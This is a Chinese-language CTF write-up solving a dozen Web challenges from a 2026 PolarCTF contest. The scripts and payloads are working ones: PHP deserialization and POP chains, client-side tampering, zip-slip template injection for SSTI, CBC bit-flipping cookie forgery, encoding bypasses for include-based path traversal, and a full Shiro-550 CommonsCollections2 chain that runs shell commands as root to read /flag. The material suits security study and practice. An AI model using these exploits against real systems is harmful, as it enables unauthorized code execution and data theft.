PolarCTF网络安全2026秋季个人挑战赛-Web方向全wp
本文记录了多道 Web CTF 题目的分析与解题过程,涵盖 PHP 反序列化、客户端逻辑篡改、路径穿越、SSTI、CBC 字节翻转、参数与请求方法绕过、信息泄露以及 Shiro 反序列化等常见 Web 安全漏洞。文章通过分析题目源码、前端 JavaScript 和接口逻辑,结合实际请求与脚本利用,逐步还原漏洞成因及利用链路。其中包括利用 PHP 反序列化修改对象属性、篡改前端游戏状态并绕过服务端校
Web
php反序列
登录界面泄露账号和密码,登录进去得到源码:
<?php
session_start();
error_reporting(0);
if (empty($_SESSION['logged_in'])) {
header('Location: index.php');
exit;
}
include __DIR__ . '/flag.php';
class AuditTicket
{
public $role = 'guest';
public function __destruct()
{
global $flag;
if ($this->role === 'admin') {
echo '<h3 style="color:green">反序列化成功!</h3>';
echo '<p>' . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . '</p>';
}
}
}
$message = '';
$object = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$payload = $_POST['payload'] ?? '';
if ($payload === '') {
$message = 'payload 不能为空';
} else {
$object = unserialize($payload);
if ($object instanceof AuditTicket) {
$message = '对象恢复成功';
} else {
$message = '反序列化失败';
}
}
}
highlight_file(__FILE__);
?>
直接赋值即可:
<?php
class AuditTicket
{
public $role = 'guest';
public function __destruct()
{
global $flag;
if ($this->role === 'admin') {
echo '<h3 style="color:green">反序列化成功!</h3>';
echo '<p>' . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . '</p>';
}
}
}
$a = new AuditTicket();
$a->role = 'admin';
echo urlencode(serialize($a));
得到:
O%3A11%3A%22AuditTicket%22%3A1%3A%7Bs%3A4%3A%22role%22%3Bs%3A5%3A%22admin%22%3B%7D
拿到 flag:flag{37083fb4f493fe2def8c161c012e8b70}
贪吃蛇
分析 js 源码:
function submitScore(finalScoreValue) {
fetch('api.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({score: finalScoreValue})
})
分数可以直接控制,在控制台执行:
fetch('api.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
score: 999999
})
})
.then(r => r.text())
.then(console.log)
拿到 flag:flag{9f5d6c03bd89fa8262a2872234e84800}
迷宫
看见是游戏,分析源码:
let maze, w, h, px, py, steps, maxSteps, active = false, moving = false;
这里可以看到 steps 变量,从后续代码可以得知它全程都是存储在浏览器里面,我们可以自行修改
if (px === w - 1 && py === h - 1) {
active = false;
document.getElementById('claim').disabled = false; // 只是解锁按钮
这个到达出口只是一个解锁按钮,我们完全可以自己调用 /api/flag 接口
const d = await r.json();
if (d.valid) {
px = d.x; py = d.y; steps++; // ← 计数只发生在本地
...
}
/api/move 接口只判断这次移动和不合规,不管步数
最后看核心如何拿到flag,这种也一般是题目的重点:
const r = await fetch('/api/flag', {
method: 'POST',
body: JSON.stringify({ steps: steps }), // ← 把本地数的步数原样交给服务端
});
这里直接拿本地的 steps 和 max_steps 做比较,而存在校验的 session 没有存储 steps 变量,这只是一个可以随便篡改的数字
全部的地图也直接发送到前端,可以直接本地 BFS 去得到最短路径,随后直接去调用 /api/move 接口
最终脚本:
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error
from collections import deque
from http.cookiejar import CookieJar
BASE = "http://de4bc851-0f80-4682-88ed-3cab6f0e237f.game.polarctf.com:8090"
# 方向 -> (dx, dy)
DIRS = {"N": (0, -1), "S": (0, 1), "W": (-1, 0), "E": (1, 0)}
def req(opener, path, data=None):
"""带 cookie 的 GET/POST,返回 JSON。"""
r = urllib.request.Request(BASE + path)
body = None
if data is not None:
body = json.dumps(data).encode()
r.add_header("Content-Type", "application/json")
try:
with opener.open(r, body, timeout=30) as resp:
return json.loads(resp.read().decode())
except urllib.error.HTTPError as e:
print(f"[!] {path} -> HTTP {e.code}: {e.read().decode()[:200]}")
sys.exit(1)
def bfs_shortest_path(maze, w, h, start, end):
"""BFS 求起点到终点的最短路径,返回方向序列(如 'ESWW...')。"""
sx, sy = start
ex, ey = end
prev = {(sx, sy): None}
q = deque([(sx, sy)])
while q:
x, y = q.popleft()
if (x, y) == (ex, ey):
break
for d, (dx, dy) in DIRS.items():
if maze[y][x][d]: # 该方向有墙,走不通
continue
nx, ny = x + dx, y + dy
if 0 <= nx < w and 0 <= ny < h and (nx, ny) not in prev:
prev[(nx, ny)] = ((x, y), d)
q.append((nx, ny))
if (ex, ey) not in prev:
raise RuntimeError("迷宫无解?BFS 没找到出口")
path = []
cur = (ex, ey)
while prev[cur]:
p, d = prev[cur]
path.append(d)
cur = p
path.reverse()
return path
def main():
cj = CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
# 1. 取迷宫全图
m = req(opener, "/api/maze")
maze, w, h = m["maze"], m["width"], m["height"]
start, end = m["start"], m["end"]
max_steps = m["maxSteps"]
print(f"[*] 迷宫 {w}x{h} 起点{start} 终点{end} 步数上限 {max_steps}")
# 2. 本地 BFS 求最短路
path = bfs_shortest_path(maze, w, h, start, end)
print(f"[*] 最短路 {len(path)} 步: {''.join(path)}")
# 3. 逐步移动(服务端不限步数,只记位置)
for i, d in enumerate(path):
r = req(opener, "/api/move", {"direction": d})
if not r.get("valid"):
print(f"[!] 第 {i} 步 {d} 被拒绝: {r}")
sys.exit(1)
state = req(opener, "/api/state")
print(f"[*] 已到达出口,服务端坐标 {state.get('position', '?')}")
# 4. 领 flag:真实步数若超限,就申报 maxSteps(服务端只信客户端报的数)
claim = min(len(path), max_steps)
r = req(opener, "/api/flag", {"steps": claim})
if r.get("success"):
print(f"[+] 申报步数 {claim} -> 拿到 FLAG: {r['flag']}")
else:
print(f"[-] 失败: {r}")
if __name__ == "__main__":
main()
打地鼠
一直敲,发现分数没有什么异常直接突破了100
比较100前和100后发现多了个 http 标头:
X-Flag-Key: cafebabe2024secret
然后凭借猜得出参数名称为 flag_key,传参拿到 flag:
index.php?flag_key=cafebabe2024secret
flag{91d33ff99f483979917c364c73af228a}
guess
查看 /status 接口:
archive_root=/app/uploads/themes/<id>
renderer=/app/templates/memo.html
allowed=.txt,.css,.html
required=manifest.txt
再看 /memo 接口:
核心变量已进入渲染上下文,但默认模板不会展示。
这里我的理解是,后端大概率是已经引入了这个变量,只是没有把它输出而已
我们的目标就是达到 {{flag}} 这样来让 flag 渲染出来
这里从上面可以得知,渲染文件是 /app/templates/memo.html
这里我们上传文件所存的文件夹不在 /app/templates,使用 zip slip 路径穿透即可
这里尝试的过程中把必要文件放入即可
最终脚本:
import zipfile
payload = '''<pre>
flag={{ flag }}
FLAG={{ FLAG }}
flag_text={{ flag_text }}
secret={{ secret }}
config={{ config }}
request={{ request.url }}
</pre>
ZIPSUCCESS-MARKER'''
paths = [
'../templates/memo.html',
'../../templates/memo.html',
'../../../templates/memo.html', # 命中:/app/uploads/themes/<id> -> /app/templates/
'../../../../templates/memo.html',
]
with zipfile.ZipFile('slip1.zip', 'w') as z:
z.writestr('manifest.txt', 'name=x\n') # 满足必需文件检查
for p in paths:
z.writestr(p, payload) # 路径穿越,后缀 .html 满足白名单
上传后访问 /memo,成功渲染出 flag:flag{20a95535-9061-479b-9cf6-aefce25a1a92}
cryweb
题目首页提示:
通行证是加密的,不是签名的。
游客身份字段长度和管理员身份字段长度一样。
自己领了个身份:
Array
(
[uid] => 1001
[name] => ctfer
[role] => guest
[level] => 1
)
uid=1001&name=ctfer&role=guest&level=1
这里涉及到 CBC 位翻转攻击:
逻辑如下:
CBC(密码分组链接)加密时,每一块明文先和上一块密文异或,再加密:
加密:C[i] = E(P[i] XOR C[i-1]) (C[-1] 就是 IV)
解密:P[i] = D(C[i]) XOR C[i-1]
关键在解密这一行:**明文块是“解密结果”和“前一块密文”的异或**。解密结果是黑盒动不了,但前一块密文 C[i-1] 是我能随便改的。异或的性质是 `a XOR b XOR b = a`,所以:
我改 C[i-1] 的第 j 个字节,改了多少,P[i] 的第 j 个字节就同步变多少
想让 P[i] 的某字节从 `g` 变成 `a`?把 C[i-1] 对应字节异或上 `g XOR a` 就行,完全不需要知道密钥。**代价**是:C[i-1] 被改动后,它自己解出来的 P[i-1] 也变了——变成 `D(C[i-1]) XOR C[i-2]`,其中 D(C[i-1]) 已经换了个人,异或出来就是不可预测的乱码。
这是位翻转攻击的核心权衡:
|改谁|能控制哪块明文|副作用|
|---|---|---|
|IV|P[0]|**无**(IV 不参与任何块的解密输出,只当种子)|
|C[i-1] (i≥1)|P[i]|P[i-1] 变乱码|
最终脚本:
# -*- coding: utf-8 -*-
import urllib.request
import urllib.parse
import base64
import re
BASE = 'http://62454c50-ee1b-4abf-b241-45a2de5c6475.game.polarctf.com:8090'
def login(name):
data = urllib.parse.urlencode({'name': name}).encode()
req = urllib.request.Request(BASE + '/login.php', data=data)
resp = urllib.request.urlopen(req, timeout=30)
cookie = resp.headers.get('Set-Cookie')
return re.search(r'ticket=([^;]+)', cookie).group(1)
def get(path, ticket):
req = urllib.request.Request(BASE + path)
req.add_header('Cookie', 'ticket=' + ticket)
return urllib.request.urlopen(req, timeout=30).read().decode('utf-8', 'replace')
def b64u(raw):
return base64.urlsafe_b64encode(raw).decode().rstrip('=')
def forge_p0(ticket, known_p0, target_p0):
raw = base64.urlsafe_b64decode(ticket + '=' * (-len(ticket) % 4))
iv = bytearray(raw[:16])
for i in range(16):
iv[i] ^= known_p0[i] ^ target_p0[i]
return b64u(bytes(iv) + raw[16:])
t = login('A')
KNOWN = b'uid=1001&name=A&r'
TARGET = b'role=admin&name='
forged = forge_p0(t, KNOWN, TARGET)
print('forged ticket:', forged)
print()
html = get('/admin.php', forged)
print(html)
flag:flag{d58c6cbe-cb3f-4823-9c52-2acf06c1932b}
打赏
看源码,发现注释:
QD2AHXMGSJMMG2NM
rev + base32 得到:ctf123.php
访问该路径,得到源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include __DIR__ . '/flag.php';
echo "<h2>Welcome</h2>";
function stop($msg) {
die(htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') . "<br/>\n");
} $role = $_COOKIE['role'] ?? 'guest';
if ($role !== 'auditor') { stop('第一关:你还不是 auditor');
}
echo "第一关通过<br/>\n";
$route = $_GET['route'] ?? '';
if (preg_match('/admin/i', $route)) { stop('第二关:检测到敏感路由 admin');
}
$route = urldecode($route);
if ($route !== 'admin/panel') { stop('第二关:没有进入管理路由');
}
echo "第二关通过<br/>\n";
echo "恭喜通关!<br/>\n";
echo htmlspecialchars($flag, ENT_QUOTES, 'UTF-8');
?>
这里绕过直接用编码后的 admin 绕过即可:
payload:
GET /?route=%2561dmin/panel HTTP/1.1
Cookie: role=auditor
拿到 flag:flag{1cbb3b88acb636433aa7b402b9096481}
MiniSite
<?php
// TODO: 上线前删掉这行 —— /sssseeeeccccrrrrreeeetttt 别忘了清理
class FileGuard
{
public static function checkFile(&$page)
{ $whitelist = ["home.php", "about.php", "source.php"];
if (!isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist, true)) {
return true;
} $_page = substr( $page, 0, strpos($page . '#', '#')
);
if (in_array($_page, $whitelist, true)) {
return true;
} $_page = rawurldecode($page); $_page = substr( $_page, 0, strpos($_page . '#', '#')
);
if (in_array($_page, $whitelist, true)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (!empty($_REQUEST['f'])
&& is_string($_REQUEST['f'])
&& FileGuard::checkFile($_REQUEST['f'])
) {
include $_REQUEST['f'];
exit;
}
?>
这里会先提取 # 前面的内容,若是没有则在末尾加上 #
但是我们 include 文件后文件还是会被正常的包含进来,rawurldecode 进一步提示了要对 # 进行编码
payload:
?f=home.php%23/../../../../sssseeeeccccrrrrreeeetttt
拿到 flag:flag{738d13e76707424bf9857eeba0f2baf5}
魔法导入器
源码:
<?php
class FileViewer
{
public $path;
public function __toString()
{
if ($this->path && file_exists($this->path)) {
return file_get_contents($this->path);
}
return "[文件未找到]";
}
}
class Welcome
{
public $user;
public function __destruct()
{
echo "<div class='bye-msg'>再见," . $this->user . "!</div>";
}
}
class Profile
{
public $name;
public $bio;
public function __wakeup()
{
if (strlen($this->name) > 30) { $this->name = substr($this->name, 0, 30);
}
if (strlen($this->bio) > 200) { $this->bio = substr($this->bio, 0, 200);
}
}
}
function validate_serialized($data)
{ $rules = [ '/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)', '/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',
];
foreach ($rules as $pattern => $msg) {
if (preg_match($pattern, $data)) {
return [false, $msg];
}
}
return [true, '验证通过'];
}
// Source code view
if (isset($_GET['source'])) { highlight_file(__FILE__);
exit;
}
// Logic
$result = '';
$error = '';
$destruct_output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) { $raw = trim($_POST['data']);
list($ok, $msg) = validate_serialized($raw);
if (!$ok) { $error = $msg;
} else { $obj = @unserialize($raw);
if ($obj === false && $raw !== 'b:0;') { $error = '反序列化失败:格式无效';
} else { $result = '导入成功!对象类型:' . get_class($obj); // Force __destruct() NOW so output is visible on page ob_start(); $obj = null; $destruct_output = ob_get_clean();
}
}
}
$demo = new Profile();
$demo->name = 'Alice';
$demo->bio = 'CTF Player';
$export = serialize($demo);
?>
这里我们终点是 FileViewer 类中的 __toString() 魔术方法,而可以通过 __destruct() 来 echo 出发该方法
这里利用的是 S 大写类型支持 16 进制转义的特性
最终 payload:
O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{s:4:"path";S:5:"/\66lag";}}
拿到 flag:flag{c77f5eb4d7d525855522d7ac65c5487d}
预言三问
第一关计算得到 78,加上 cookie 得到下一关:
下一关改发送方式为 post,发送 priestess=prophet
再加上参数 ?admin=1
拿到 flag:flag{2efc9ac3-df6f-4f2a-8bb5-ab3ead0a2684}
消消乐
首先查看网页源代码,在 HTML 中发现了一个隐藏的 div:
<div id="app-meta" data-v="0731626d648f81d06d6ce180ba733b9b0f" hidden></div>
这里的 data-v 属性值得关注,因为后续 JavaScript 会直接读取它
继续分析 JavaScript,可以发现 loadConfig() 会读取 data-v:
function loadConfig() {
var raw = cfg.dataset.v;
slotMax = parseInt(raw.substr(0, 2), 16);
if (isNaN(slotMax)) slotMax = 7;
slotLimitEl.textContent = slotMax;
}
这里首先取出 data-v 的前两位,并按照十六进制进行转换
题目中的 data-v 为:
0731626d648f81d06d6ce180ba733b9b0f
前两位 07 转换成十进制后得到 7,因此这两位实际上是用来控制游戏槽位上限的,并不是 flag 的内容
接下来寻找 flag 的生成位置,可以发现 tryReward() 函数:
function tryReward() {
if (gotReward) return;
gotReward = true;
var hex = cfg.dataset.v.substr(2);
var key = 0x37;
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
bytes.push(parseInt(hex.substr(i, 2), 16) ^ key);
}
var hash = '';
bytes.forEach(function(b) {
hash += ('0' + b.toString(16)).slice(-2);
});
var result = String.fromCharCode(102,108,97,103,123) + hash + String.fromCharCode(125);
rewardPanel.style.display = 'block';
rewardPanel.innerHTML = '🏆 通关奖励!<br>' + result;
}
可以看到,程序首先执行:
var hex = cfg.dataset.v.substr(2);
也就是去掉 data-v 前两位
剩余数据为:
31626d648f81d06d6ce180ba733b9b0f
随后程序每两个十六进制字符取一个字节,并与 0x37 进行 XOR 运算:
parseInt(hex.substr(i, 2), 16) ^ 0x37
例如前几组数据:
31 ^ 37 = 06
62 ^ 37 = 55
6d ^ 37 = 5a
64 ^ 37 = 53
继续计算全部数据,得到:
06555a53b8b6e75a5bd6b78d440cac38
之后程序使用:
String.fromCharCode(102,108,97,103,123)
生成:
flag{
最后使用:
String.fromCharCode(125)
生成:
}
得到完整的 flag:flag{06555a53b8b6e75a5bd6b78d440cac38}
安全笔记
访问首页是一个「安全笔记」应用,页面源码里有几个值得注意的点:
- 登录表单带
rememberMe(记住此浏览器)复选框——典型的 Shiro 框架特征,RememberMe Cookie 反序列化是最常见的利用入口; - 页面注释遗留了
<!-- TODO remove debug endpoint -->,指向一个调试接口; - 前端脚本暴露了 API 路径:
/api/user/login、/api/notes、/api/debug/env
用默认口令 admin/admin123 直接登录成功,响应中下发了 rememberMe Cookie,确认目标使用 Shiro 的 RememberMeManager:
Set-Cookie: rememberMe=WahfuhNOuPDAMy12lRPiAcaNBK3G/SDYl0xqLAPl2wGY2puDqmq...; Path=/; Max-Age=604800
/api/debug/env 默认返回基础信息,提示支持 action=help,逐个探测:
GET /api/debug/env?action=help
→ actions: [basic, health, full],export_root: /tmp/securenotes/public,export_url: /<filename>
GET /api/debug/env?action=full
→ {
"shiro_version": "1.7.1",
"jdk_version": "1.8.0_492",
"shiro_cipher_key": "kPH+bIxk5D2deZiIxcaaaA==",
"rememberme_cookie": "rememberMe",
"gadget_hint": "commons-collections4",
...
}
至此 Shiro-550 的全部要素齐备:反序列化入口是 rememberMe Cookie;AES 密钥为经典默认密钥 kPH+bIxk5D2deZiIxcaaaA==;目标 Shiro 1.7.1(≥ 1.4.2,加密方式为 AES-GCM);JDK 8u492;gadget 依赖 commons-collections4-4.0;结果回传通道是 /tmp/securenotes/public 目录,会映射为 /<文件名> 静态访问。
commons-collections4 与 3.x 的关键差别是 TransformingComparator 在 4.x 中实现了 Serializable,因此选用 CommonsCollections2(CC2)链:
PriorityQueue.readObject()
→ TransformingComparator.compare()
→ InvokerTransformer("newTransformer").transform()
→ TemplatesImpl.newTransformer()
→ defineClass(恶意类) → newInstance() → static { Runtime.exec(...) }
链上除 TemplatesImpl 外的类全部来自 commons-collections4-4.0,与目标依赖完全一致。
本地只有 Java 25,但目标链路各环节的序列化兼容性都能解决:
TemplatesImpl的serialVersionUID是显式声明的673094361519270707(javap 确认),跨 JDK 版本稳定,本地 Java 25 生成的流可以被目标 JDK 8 反序列化;- 流中多出的字段(如
_indentNumber)会被目标端静默丢弃,缺失字段走readObject默认值,均不影响; _tfactory是 transient 字段,目标端readObject会自行new TransformerFactoryImpl(),无需(也无法)写入流;- 恶意类字节码必须 ≤ class version 52,用
javac --release 8编译; com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet在本地 JDK 中不导出,用一个同全限定名的假 stub 编译即可——class 文件里只记录父类名字符串,运行时在目标端解析到真类。
假 stub 仅编译期使用:
package com.sun.org.apache.xalan.internal.xsltc.runtime;
public abstract class AbstractTranslet { }
恶意类模板(inject.py 把命令烘进静态块):
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class Pwn extends AbstractTranslet {
static {
try {
String[] cmd = new String[]{"/bin/sh", "-c", "__CMD__"};
Runtime.getRuntime().exec(cmd);
} catch (Throwable t) { }
}
public Pwn() { }
}
链构造 + Shiro 加密(Gen.java 核心):
byte[] cls = Files.readAllBytes(Paths.get(args[0])); // Pwn.class
Class<?> tc = Class.forName("...TemplatesImpl");
Object templates = tc.getDeclaredConstructor().newInstance();
setField(tc, templates, "_bytecodes", new byte[][]{cls});
setField(tc, templates, "_name", "Pwn");
// 先用无害 transformer 让 PriorityQueue 完成本地插入
InvokerTransformer<Object,Object> innocent = new InvokerTransformer<>("toString", new Class[0], new Object[0]);
TransformingComparator<Object,Object> comp = new TransformingComparator<>(innocent);
PriorityQueue<Object> q = new PriorityQueue<>(2, comp);
q.add(templates);
q.add(templates);
// 序列化前把 transformer 换成触发器
Field tf = TransformingComparator.class.getDeclaredField("transformer");
tf.setAccessible(true);
tf.set(comp, new InvokerTransformer<>("newTransformer", new Class[0], new Object[0]));
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(q);
byte[] ser = bos.toByteArray();
// Shiro 加密:base64( randomIV(16) || ciphertext )
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
byte[] iv = new byte[16];
new SecureRandom().nextBytes(iv);
Cipher c = Cipher.getInstance("AES/GCM/NoPadding"); // Shiro >= 1.4.2 用 GCM
c.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, "AES"), new GCMParameterSpec(128, iv));
byte[] ct = c.doFinal(ser);
// out = iv || ct → Base64 → Cookie: rememberMe=<b64>
发送:curl -H "Cookie: rememberMe=<base64 payload>" http://<host>:8090/。
第一发 payload 做侦察:
{ id; ls -la /; env; find / -maxdepth 4 -iname '*flag*'; } \
> /tmp/securenotes/public/o.txt 2>&1; chmod 666 /tmp/securenotes/public/o.txt
GET /o.txt 返回(节选):
uid=0(root) gid=0(root) groups=0(root)
-r--r--r-- 1 root root 43 Sep 6 06:18 flag
-rw-rw-rw- 1 root root 39 Jul 24 14:34 flag.template
SECRET_KEY=kPH+bIxk5D2deZiIxcaaaA==
FLAG=flag{63b467b1-1d60-4f3e-9382-e6d9fcbfe95b}
第二发 payload 确认文件内容:
cat /flag > /tmp/securenotes/public/f.txt 2>&1; chmod 666 /tmp/securenotes/public/f.txt
GET /f.txt:
flag{63b467b1-1d60-4f3e-9382-e6d9fcbfe95b}